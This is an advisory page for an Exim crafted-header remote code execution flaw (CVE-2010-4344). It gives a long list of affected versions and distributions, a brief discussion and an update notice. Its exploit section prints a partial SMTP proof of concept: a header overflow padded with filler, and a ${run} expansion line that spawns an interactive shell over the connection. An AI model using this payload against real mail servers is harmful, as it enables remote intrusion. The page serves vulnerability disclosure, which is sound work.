Exim Crafted Header Remote Code Execution Vulnerability

BID:45308

Info

Exim Crafted Header Remote Code Execution Vulnerability

Bugtraq ID: 45308
Class: Unknown
CVE: CVE-2010-4344
Remote: Yes
Local: No
Published: Dec 07 2010 12:00AM
Updated: Jan 28 2014 02:44PM
Credit: Sergey Kononenko
Vulnerable: University of Cambridge Exim 4.60
University of Cambridge Exim 4.52
University of Cambridge Exim 4.43
University of Cambridge Exim 4.42
University of Cambridge Exim 4.41
University of Cambridge Exim 4.40
University of Cambridge Exim 4.34
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
University of Cambridge Exim 4.33
University of Cambridge Exim 4.32
University of Cambridge Exim 4.21
University of Cambridge Exim 4.20
University of Cambridge Exim 4.10
University of Cambridge Exim 3.952
University of Cambridge Exim 3.36
University of Cambridge Exim 3.35
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
University of Cambridge Exim 3.34
University of Cambridge Exim 3.33
University of Cambridge Exim 3.32
University of Cambridge Exim 3.31
University of Cambridge Exim 3.30
University of Cambridge Exim 3.22
- RedHat PowerTools 7.1
University of Cambridge Exim 3.21
University of Cambridge Exim 3.20
University of Cambridge Exim 3.19
- RedHat PowerTools 7.0
University of Cambridge Exim 3.18
University of Cambridge Exim 3.17
University of Cambridge Exim 3.16
University of Cambridge Exim 3.15
University of Cambridge Exim 3.14
University of Cambridge Exim 3.13
- RedHat PowerTools 6.2
University of Cambridge Exim 3.12
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
University of Cambridge Exim 3.11
University of Cambridge Exim 3.3 2
University of Cambridge Exim 3.3 1
University of Cambridge Exim 3.3
University of Cambridge Exim 3.0 x
University of Cambridge Exim 3.0
University of Cambridge Exim 2.0 x
University of Cambridge Exim 1.6.51
University of Cambridge Exim 1.6.2
University of Cambridge Exim 4.69
University of Cambridge Exim 4.66
SuSE openSUSE 11.3
S.u.S.E. openSUSE 11.2
S.u.S.E. openSUSE 11.1
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux ES 4.7.z
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux Desktop version 4
RedHat Enterprise Linux 5.3.z server
Red Hat Enterprise Linux Desktop 5 client
Red Hat Enterprise Linux AS 4.7.z
Red Hat Enterprise Linux AS 4
Red Hat Enterprise Linux 5.4.z server
Red Hat Enterprise Linux 5 Server
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
cPanel cPanel 0
Avaya Aura System Manager 6.1.3
Avaya Aura System Manager 6.1.2
Avaya Aura System Manager 6.1.1
Avaya Aura System Manager 6.1 SP2
Avaya Aura System Manager 6.1 Sp1
Avaya Aura System Manager 6.1
Not Vulnerable: University of Cambridge Exim 4.72
University of Cambridge Exim 4.70
University of Cambridge Exim 4.69-26
University of Cambridge Exim 4.63-5

Discussion

Exim Crafted Header Remote Code Execution Vulnerability

Exim is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute code as the 'exim' user. Attackers can leverage this issue to launch further attacks.

Versions prior to Exim 4.70 are vulnerable.

Exploit / POC

Exim Crafted Header Remote Code Execution Vulnerability

An attacker uses readily available tools to exploit the issue.

The following partial example is available:

EHLO mail.example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
MAILbombhdr0001: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0
....
MAILbombhdr0054: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0m
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i <&3 >&0 2>&0'}}${run{/bin/sh -c 'exec /bin/sh -i <&4 >&0 2>&0'}}........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
..........
about 700000 the same strings
..........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILb

The following exploit code is available:

Solution / Fix

Exim Crafted Header Remote Code Execution Vulnerability

Solution:
Updates are available. Please see the references for more information.

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report